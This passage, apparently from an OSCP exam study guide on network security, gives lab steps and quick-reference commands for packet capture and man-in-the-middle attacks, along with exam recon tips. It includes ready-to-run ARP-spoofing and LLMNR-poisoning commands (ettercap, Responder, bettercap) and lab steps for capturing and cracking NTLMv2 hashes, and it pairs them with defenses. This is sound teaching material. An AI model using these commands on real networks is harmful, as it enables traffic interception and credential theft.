Steps:

# Step 1: Capture Traffic
# Capture traffic on the interface
tcpdump -i eth0 -w lab_capture.pcap &

# Generate some traffic:
ping 10.10.10.10
curl http://10.10.10.10
ssh user@10.10.10.10

# Stop capture
kill %1

# Step 2: Analyze with Wireshark
# Open capture in Wireshark
wireshark lab_capture.pcap

# Step 3: Apply Filters
# Find HTTP traffic
http.request

# Find DNS queries
dns.qry.name

# Find SMB traffic
smb

# Step 4: Extract Data
# Follow TCP stream to see full conversation
# Right-click packet → Follow → TCP Stream

# Step 5: Identify Issues
# Look for:
# • Cleartext credentials
# • Unencrypted protocols
# • Suspicious connections
# • Protocol anomalies

# Deliverables:
# • List all protocols observed
# • Identify any cleartext credentials
# • Document suspicious connections
# • Create a traffic flow diagram

Lab 3: MITM Attack Lab

Objective: Perform and defend against Man-in-the-Middle attacks.

Prerequisites:

  • Two or more machines on the same network
  • Kali Linux with ettercap, responder, BetterCAP
  • Understanding of ARP, LLMNR, and DHCP protocols

Steps:

# ═══════════════════════════════════════════════════════════
# Part A: ARP Poisoning
# ═══════════════════════════════════════════════════════════

# On attacker machine:
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Start ARP poisoning
ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ //192.168.1.1/

# On victim machine:
# Check ARP table
arp -a
# Observe that gateway MAC is now attacker's MAC

# ═══════════════════════════════════════════════════════════
# Part B: LLMNR Poisoning
# ═══════════════════════════════════════════════════════════

# On attacker machine:
Responder -I eth0 -wA -rdPfb

# On victim machine:
# Try to resolve non-existent hostname
nslookup nonexistent.local
# Or access a non-existent share
\\nonexistent.local\share

# Observe captured hash on attacker machine

# ═══════════════════════════════════════════════════════════
# Part C: Defense Testing
# ═══════════════════════════════════════════════════════════

# Test defenses:
# 1. Disable LLMNR on victim
# 2. Use static ARP entries
# 3. Enable 802.1X if available
# 4. Monitor with ARP watch tools

# Deliverables:
# • Document ARP poisoning results
# • Capture and crack NTLMv2 hash
# • Test and document defense mechanisms
# • Create a mitigation report

8. Key Tools Reference

Tool Comparison Table

Tool Primary Use Protocol Layers Key Features
nmap Port scanning, service detection L3-L7 SYN/connect/UDP scans, NSE scripts, OS detection
masscan Fast port scanning L3-L4 Async I/O, millions of packets/sec, rate limiting
Wireshark Packet analysis L2-L7 GUI, display filters, protocol dissection, export
tcpdump Packet capture L2-L7 CLI, BPF filters, pcap output, scripting
ettercap MITM attacks L2-L3 ARP poisoning, SSL stripping, credential capture
Responder LLMNR/NBT-NS poisoning L3-L7 NTLMv2 capture, WPAD attack, relay support
BetterCAP Network MITM L2-L7 ARP/DNS spoofing, HTTP/HTTPS proxy, API
Snort IDS/IPS L3-L7 Signature-based, rule engine, inline mode
Suricata IDS/IPS L3-L7 Multi-threaded, Lua scripting, file extraction

Quick Reference Commands

# nmap - Essential Scans
nmap -sS -T4 -p- -sV -sC -O -oA scan_target <target>

# masscan - Fast Discovery
masscan -p1-65535 <target> --rate=1000 -oL masscan.txt

# Wireshark - Analysis
wireshark -r capture.pcap
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

# tcpdump - Capture
tcpdump -i eth0 -w capture.pcap host <target> and port 80

# ettercap - MITM
ettercap -T -q -i eth0 -M arp:remote /<target>/ //<gateway>/

# Responder - LLMNR Poisoning
Responder -I eth0 -wA -rdPfb

# BetterCAP - Network MITM
bettercap -iface eth0 -eval "arp.spoof on; arp.spoof.targets <target>,<gateway>"

# Snort - IDS Testing
snort -q -r capture.pcap -c /etc/snort/snort.conf -A console

# Suricata - IDS Testing
suricata -r capture.pcap -S custom_rules.rules -v

9. Exam Tips

Efficient Network Reconnaissance During OSCP Exam

Time Management Strategy:

┌─────────────────────────────────────────────────────────────┐
│              OSCP Network Recon Timeline                     │
│                                                             │
│  Time Block 1 (0-15 min): Initial Discovery                 │
│  • Ping sweep subnet                                        │
│  • Quick top-ports scan on live hosts                       │
│  • Identify target machine                                  │
│                                                             │
│  Time Block 2 (15-30 min): Detailed Scanning                │
│  • Full port scan on target                                 │
│  • Service version detection                                │
│  • Default NSE scripts                                      │
│                                                             │
│  Time Block 3 (30-45 min): Enumeration                      │
│  • Deep service enumeration                                 │
│  • Web directory brute-forcing                              │
│  • SMB/Share enumeration                                    │
│  • OS fingerprinting                                        │
│                                                             │
│  Time Block 4 (45-60 min): Exploitation Research            │
│  • Searchsploit for identified services                     │
│  • Identify attack vectors                                  │
│  • Prepare exploitation tools                               │
└─────────────────────────────────────────────────────────────┘

Must-Do Checklist:

□ Ping sweep to find all live hosts
□ Full port scan (-p-) on target
□ Service version detection (-sV)
□ Default NSE scripts (-sC)
□ OS detection (-O)
□ UDP scan for common services
□ Web directory brute-forcing (gobuster/ffuf)
□ SMB enumeration (enum4linux)
□ Check for default credentials
□ Searchsploit for all identified services
□ Document all findings in notes
□ Identify at least 2 attack vectors

Common Mistakes to Avoid:

Mistake Consequence Prevention
Skipping full port scan Missing non-standard ports Always use -p-
Not scanning UDP Missing DNS, SNMP, etc. Scan common UDP ports
Rushing enumeration Missing attack vectors Take time for deep enum
Not documenting Losing findings, rework Document everything
Ignoring low ports Missing critical services Scan all ports
Not checking versions Wrong exploit selection Always use -sV
Skipping NSE scripts Missing automated findings Always use -sC

Note-Taking Template:

# Target: 10.10.10.X

## Host Discovery
- Live hosts: 10.10.10.X, 10.10.10.Y

## Open Ports
| Port | Service | Version | Notes |
|------|---------|---------|-------|
| 22   | SSH     | OpenSSH 8.2p1 | Ubuntu |
| 80   | HTTP    | Apache 2.4.41 | /admin found |
| 443  | HTTPS   | Apache 2.4.41 | Self-signed cert |
| 3306 | MySQL   | 8.0.23 | Default port |

## Service Details
### SSH (22)
- Version: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
- Key: RSA 3072-bit
- Auth methods: publickey, password

### HTTP (80)
- Server: Apache/2.4.41 (Ubuntu)
- Directories: /admin, /backup, /uploads
- Virtual hosts: target.local

## Potential Attack Vectors
1. Web application vulnerability on port 80
2. MySQL default credentials
3. SSH brute force (if weak password)

## Exploitation Plan
1. Attempt web exploitation first
2. If web fails, try MySQL default creds
3. Use SSH as backup access method

10. Cross-References

Topic Reference Connection
Information Gathering 02-information-gathering.md Network scanning is the foundation of information gathering
Advanced Tunneling 08-advanced-tunneling.md Network pivoting requires tunneling techniques
Active Directory Attacks 12-active-directory-attacks.md LLMNR/NBT-NS poisoning is critical for AD environments
Web Application Attacks 05-web-application-attacks.md WAF bypass techniques connect to web attack methods
Privilege Escalation 07-privilege-escalation.md Network pivoting enables access to additional targets
Post-Exploitation 09-post-exploitation.md Network reconnaissance continues after initial access

Learning Path

Network Security Fundamentals (This Chapter)
    │
    ├──► Information Gathering
    │       │
    │       ├──► Web Application Attacks
    │       │
    │       └──► Service Exploitation
    │
    ├──► Advanced Tunneling
    │       │
    │       └──► Network Pivoting
    │
    └──► Active Directory Attacks
            │
            ├──► LLMNR/NBT-NS Poisoning
            │
            └──► NTLM Relay Attacks

Summary

Network security fundamentals form the backbone of penetration testing. Key takeaways:

  1. Firewalls can be bypassed through various techniques including fragmentation, protocol tunneling, and encryption. Understanding each firewall type’s limitations is essential.

  2. IDS/IPS systems can be evaded through timing manipulation, fragmentation, encryption, and signature obfuscation. Know how to write and understand Snort/Suricata rules.

  3. Network segmentation (VLANs, subnets, DMZs) limits lateral movement but can be attacked through VLAN hopping, misconfiguration exploitation, and DMZ-to-internal pivoting.

  4. Protocol attacks (ARP poisoning, LLMNR/NBT-NS poisoning, DHCP attacks) are fundamental to MITM scenarios and credential capture, especially in Active Directory environments.

  5. Nmap is your most important tool for the OSCP exam. Master all scan types, script scanning, and efficient reconnaissance strategies.

  6. Documentation is critical. Maintain detailed notes of all findings, open ports, services, and potential attack vectors throughout the exam.


Last Updated: 2026-09-01 Chapter: 01 - Introduction to CyberSecurity Topic: 06 - Network Security Fundamentals